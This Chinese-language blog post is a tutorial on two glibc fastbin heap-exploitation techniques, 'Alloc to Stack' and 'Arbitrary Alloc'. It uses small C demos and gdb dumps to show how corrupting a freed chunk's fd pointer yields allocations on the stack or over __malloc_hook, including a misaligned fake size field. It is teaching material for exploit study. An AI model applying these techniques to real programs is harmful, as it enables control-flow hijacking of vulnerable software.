获取中...

-

Just a minute...

Alloc to Stack和Arbitary Alloc都利用了fastbin链表的特性。

Alloc To Stack

利用了fastbin链表的特性。当前的chunk的fd指向下一个chunk。Alloc To Stack核心点在于劫持fastbin链表中chunk的fd指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;

void *chunk1;
void *chunk_a;

stack_chunk.size=0x21;
chunk1=malloc(0x10);

free(chunk1);

*(long long *)chunk1=&stack_chunk;
malloc(0x10);
chunk_a=malloc(0x10);
return 0;
}

执行free(chunk1)之后

1
2
3
0x602000:	0x0000000000000000	0x0000000000000021  <=== chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk

执行完*(long long *)chunk1=&stack_chunk之后 chunk1 的 fd 指针指向了 stack_chunk

1
2
3
0x602000:	0x0000000000000000	0x0000000000000021  <=== chunk1
0x602010: 0x00007fffffffdbf0 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk

第一次执行malloc,即malloc(0x10)。此时fastbin 链表指向了 stack_chunk。下一次分配会使用 stack_chunk 的内存进行。

1
2
3
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	<=== unsorted bin
0x7ffff7dd1b28 <main_arena+8> 0x00007fffffffdbf0 <=== fastbin[0]
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000

第二次执行malloc也就是chunk_a=malloc(0x10);此时的返回值为0x7fffffffdc00就是stack_chunk

通过Alloc To Stack可以把 fastbin chunk 分配到栈中,然后控制返回地址等关键数据。这时候就需要劫持fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的size值。

Arbitrary Alloc

和Alloc To Stack一样,都是利用了fastbin链表的特性。但是不同的是分配的目标不再是栈中,只要满足目标地址存在合法的 size 域,就可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。

比如使用字节错位来实现直接分配 fastbin 到_malloc_hook的位置,相当于覆盖_malloc_hook来控制程序流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(void)
{

void *chunk1;
void *chunk_a;

chunk1=malloc(0x60);

free(chunk1);

*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}

这里是0x7ffff7dd1af5地址附近的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x7ffff7dd1a88 0x0  0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0

0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的size域。因为这个程序是 64 位的,所以fastbin 的范围为32字节到128字节(0x20-0x80)

1
2
3
4
5
6
7
8
//这里的size指用户区域,因此要小2倍SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]

0x7ffff7dd1af5 处可以现实错位构造出一个0x000000000000007f

1
2
3
4
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f

而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 malloc_hook的内容(在我的libc中realloc_hook与__malloc_hook是在连在一起的)。

1
2
3
4
5
6
7
8
9
0x4005a8 <main+66>        call   0x400450 <malloc@plt>
→ 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax

$rax : 0x7ffff7dd1afd

0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000

利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

相关文章
评论
分享
  • House of Spirit

    House of Spirit针对fastbin,也是fastbin attach的一种。核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。 原理House of Spi...

    House of Spirit
  • Fastbin Double Free

    double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free, 利用条件Fastbin Double Free 能够成功利用主...

    Fastbin Double Free
  • 堆利用fastbin attach

    fastbin attack是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。主要利用了fast bin的单链表管理机制。 相关源码1234567891011121314151617/* If the ...

    堆利用fastbin attach
Please check the parameter of comment in config.yml of hexo-theme-Annie!